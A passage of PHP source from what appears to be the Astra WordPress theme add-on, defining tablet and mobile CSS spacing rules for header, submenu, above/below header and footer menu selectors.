astra_responsive_spacing( $primary_submenu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'tablet' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-navigation .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), ), /** * Below Header Spacing */ // Below Header Spacing Top / Bottom Padding. '.ast-below-header, .ast-header-break-point .ast-below-header' => array( 'padding-top' => astra_responsive_spacing( $below_header_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $below_header_spacing, 'bottom', 'tablet' ), ), // Below Header Spacing Left / Right Padding apply to inside container. '.ast-below-header .ast-container, #masthead .ast-below-header .ast-container' => array( 'padding-left' => astra_responsive_spacing( $below_header_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $below_header_spacing, 'right', 'tablet' ), ), /** * Below Header Menu Spacing */ '.ast-below-header-menu .menu-link, .below-header-nav-padding-support .below-header-section-1 .below-header-menu > .menu-item > .menu-link, .below-header-nav-padding-support .below-header-section-2 .below-header-menu > .menu-item > .menu-link, .ast-header-break-point .ast-below-header-actual-nav > .ast-below-header-menu > .menu-item > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $below_header_menu_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $below_header_menu_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $below_header_menu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $below_header_menu_spacing, 'left', 'tablet' ), ), /** * Below Header Submenu Spacing */ '.ast-desktop .ast-below-header-menu .ast-mm-template-content, .ast-desktop .ast-below-header-menu .ast-mm-custom-text-content, .ast-below-header-menu .sub-menu .menu-link, .ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $below_header_submenu_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $below_header_submenu_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $below_header_submenu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'tablet' ), ), // Below Header Submenu level 2. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'tablet' ), '+', '10', 'px' ), ), // Below Header Submenu level 3. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'tablet' ), '+', '20', 'px' ), ), // Below Header Submenu level 4. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'tablet' ), '+', '30', 'px' ), ), // Below Header Submenu level 5. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'tablet' ), '+', '40', 'px' ), ), /* Align submenu toggle button with menu text for menu */ '.ast-default-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-default-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $below_header_menu_spacing, 'top', 'tablet' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $below_header_menu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for sub menu */ '.ast-default-below-menu-enable .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle, .ast-flyout-below-menu-enable .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $below_header_submenu_spacing, 'top', 'tablet' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for full screen menu */ '.ast-fullscreen-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-fullscreen-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /* Align submenu toggle button with menu text for full screen sub menu */ '.ast-fullscreen-below-menu-enable .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /** * Above Header Spacing */ // Above Header Spacing Top / Bottom Padding. '.ast-above-header' => array( 'padding-top' => astra_responsive_spacing( $above_header_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $above_header_spacing, 'bottom', 'tablet' ), ), // Above Header Spacing Left / Right Padding apply to inside container. '.ast-above-header-wrap .ast-above-header .ast-container, #masthead .ast-above-header-wrap .ast-above-header .ast-container' => array( 'padding-left' => astra_responsive_spacing( $above_header_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $above_header_spacing, 'right', 'tablet' ), ), /** * Above Header Menu Spacing */ '.ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu > .menu-item > .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu > .menu-item:first-child > .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu > .menu-item:last-child > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $above_header_menu_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $above_header_menu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $above_header_menu_spacing, 'left', 'tablet' ), ), /** * Above Header Toggle Button Top */ '.ast-header-break-point .ast-above-header-navigation > ul > .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'tablet' ), ), /** * Above Header Submenu Spacing */ '.ast-desktop .ast-above-header-navigation .ast-mm-custom-text-content, .ast-desktop .ast-above-header-navigation .ast-mm-template-content, .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item .sub-menu .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-link, .ast-above-header-enabled .ast-above-header-menu > .menu-item:first-child .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $above_header_submenu_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $above_header_submenu_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $above_header_submenu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'tablet' ), ), // Above Header Submenu level 2. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'tablet' ), '+', '10', 'px' ), ), // Above Header Submenu level 3. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'tablet' ), '+', '20', 'px' ), ), // Above Header Submenu level 4. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'tablet' ), '+', '30', 'px' ), ), // Above Header Submenu level 5. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'tablet' ), '+', '40', 'px' ), ), /* Align submenu toggle button with menu text for menu */ '.ast-default-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-default-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'tablet' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $above_header_menu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for sub menu */ '.ast-default-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle, .ast-flyout-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_submenu_spacing, 'top', 'tablet' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for full screen menu */ '.ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /* Align submenu toggle button with menu text for full screen sub menu */ '.ast-fullscreen-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'margin-right' => astra_responsive_spacing( $above_header_submenu_spacing, 'right', 'tablet' ), 'right' => esc_attr( 0 ), ), /** * Footer Spacing */ // Footer Spacing Top / Bottom Padding. '.ast-footer-overlay' => array( 'padding-top' => astra_responsive_spacing( $footer_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $footer_spacing, 'bottom', 'tablet' ), ), // Footer Spacing Left / Right Padding to inside container. '.ast-small-footer .ast-container' => array( 'padding-left' => astra_responsive_spacing( $footer_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $footer_spacing, 'right', 'tablet' ), ), // Default margin for .ast-row is -20px, Managing Margin to fix repsonsive design. '.ast-small-footer .ast-row' => array( 'margin-left' => astra_responsive_spacing( $footer_spacing, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $footer_spacing, 'right', 'tablet' ), ), /** * Footer Menu Spacing */ '.ast-small-footer .nav-menu a, .footer-sml-layout-2 .ast-small-footer-section-1 .menu-item a, .footer-sml-layout-2 .ast-small-footer-section-2 .menu-item a' => array( 'padding-top' => astra_responsive_spacing( $footer_menu_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $footer_menu_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $footer_menu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $footer_menu_spacing, 'left', 'tablet' ), ), ); $spacing_css_output .= astra_parse_css( $tablet_spacing, '', astra_addon_get_tablet_breakpoint() ); // Mobile Spacing. $mobile_spacing = array( // Header Spacing Top / Bottom Padding. '.main-header-bar, .ast-header-break-point .main-header-bar, .ast-header-break-point .header-main-layout-2 .main-header-bar, .ast-header-break-point .ast-mobile-header-stack .main-header-bar' => array( 'padding-top' => astra_responsive_spacing( $header_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $header_spacing, 'bottom', 'mobile' ), ), // Header Spacing Left / Right Padding apply to inside container. '.main-header-bar .ast-container, #masthead .ast-container' => array( 'padding-left' => astra_responsive_spacing( $header_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $header_spacing, 'right', 'mobile' ), ), /** * Header Mobile Spacing */ '.ast-default-menu-enable.ast-main-header-nav-open.ast-header-break-point .main-header-bar, .ast-main-header-nav-open .main-header-bar' => array( 'padding-bottom' => 0, ), /** * Main Menu Spacing */ '.main-navigation ul .menu-item .menu-link, .ast-header-break-point .main-navigation ul .menu-item .menu-link, .ast-header-break-point li.ast-masthead-custom-menu-items, li.ast-masthead-custom-menu-items' => array( 'padding-top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $primary_menu_spacing, 'left', 'mobile' ), ), '.ast-header-break-point .main-navigation ul .menu-item.menu-item-has-children button' => array( 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'mobile' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'mobile' ), ), /** * Main Submenu Spacing */ '.ast-desktop .main-navigation .ast-mm-template-content, .ast-desktop .main-navigation .ast-mm-custom-content, .ast-desktop .main-navigation .ast-mm-custom-text-content,.main-navigation .sub-menu .menu-item .menu-link, .ast-header-break-point .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'mobile' ), 'padding-right' => 0, 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), ), // Primary Header Submenu level 2. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), '+', '10', 'px' ), ), // Primary Header Submenu level 3. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), '+', '20', 'px' ), ), // Primary Header Submenu level 4. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), '+', '30', 'px' ), ), // Primary Header Submenu level 5. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), '+', '40', 'px' ), ), '.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'mobile' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'margin-right' => astra_responsive_spacing( $primary_submenu_spacing, 'right', 'mobile' ), 'right' => esc_attr( 0 ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'mobile' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-navigation .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'mobile' ), ), /** * Below Header Spacing */ // Below Header Spacing Top / Bottom Padding. '.ast-below-header, .ast-header-break-point .ast-below-header' => array( 'padding-top' => astra_responsive_spacing( $below_header_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $below_header_spacing, 'bottom', 'mobile' ), ), // Below Header Spacing Left / Right Padding apply to inside container. '.ast-below-header .ast-container, #masthead .ast-below-header .ast-container' => array( 'padding-left' => astra_responsive_spacing( $below_header_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $below_header_spacing, 'right', 'mobile' ), ), /** * Below Header Menu Spacing */ '.ast-below-header-menu .menu-link, .below-header-nav-padding-support .below-header-section-1 .below-header-menu > .menu-item > .menu-link, .below-header-nav-padding-support .below-header-section-2 .below-header-menu > .menu-item > .menu-link, .ast-header-break-point .ast-below-header-actual-nav > .ast-below-header-menu > .menu-item > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $below_header_menu_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $below_header_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $below_header_menu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $below_header_menu_spacing, 'left', 'mobile' ), ), /** * Below Header Submenu Spacing */ '.ast-desktop .ast-below-header-menu .ast-mm-template-content, .ast-desktop .ast-below-header-menu .ast-mm-custom-text-content, .ast-below-header-menu .sub-menu .menu-link, .ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $below_header_submenu_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $below_header_submenu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $below_header_submenu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'mobile' ), ), // Below Header Submenu level 2. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'mobile' ), '+', '10', 'px' ), ), // Below Header Submenu level 3. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'mobile' ), '+', '20', 'px' ), ), // Below Header Submenu level 4. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'mobile' ), '+', '30', 'px' ), ), // Below Header Submenu level 5. '.ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-item .menu-link, .ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'mobile' ), '+', '40', 'px' ), ), /* Align submenu toggle button with menu text for menu */ '.ast-default-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-default-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $below_header_menu_spacing, 'top', 'mobile' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $below_header_menu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for sub menu */ '.ast-default-below-menu-enable.ast-header-break-point .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $below_header_submenu_spacing, 'top', 'mobile' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for full screen menu */ '.ast-fullscreen-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-fullscreen-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /* Align submenu toggle button with menu text for full screen sub menu */ '.ast-fullscreen-below-menu-enable .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /** * Above Header Spacing */ // Above Header Spacing Top / Bottom Padding. '.ast-above-header' => array( 'padding-top' => astra_responsive_spacing( $above_header_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $above_header_spacing, 'bottom', 'mobile' ), ), // Above Header Spacing Left / Right Padding apply to inside container. '.ast-above-header-wrap .ast-above-header .ast-container, #masthead .ast-above-header-wrap .ast-above-header .ast-container' => array( 'padding-left' => astra_responsive_spacing( $above_header_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $above_header_spacing, 'right', 'mobile' ), ), /** * Above Header Menu Spacing */ '.ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu > .menu-item > .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu > .menu-item:first-child > .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu > .menu-item:last-child > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $above_header_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $above_header_menu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $above_header_menu_spacing, 'left', 'mobile' ), ), /** * Above Header Toggle Button Top */ '.ast-header-break-point .ast-above-header-navigation > ul > .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'mobile' ), ), /** * Above Header Submenu Spacing */ '.ast-desktop .ast-above-header-navigation .ast-mm-custom-text-content, .ast-desktop .ast-above-header-navigation .ast-mm-template-content, .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item .sub-menu .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-link, .ast-above-header-enabled .ast-above-header-menu > .menu-item:first-child .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $above_header_submenu_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $above_header_submenu_spacing, 'right', 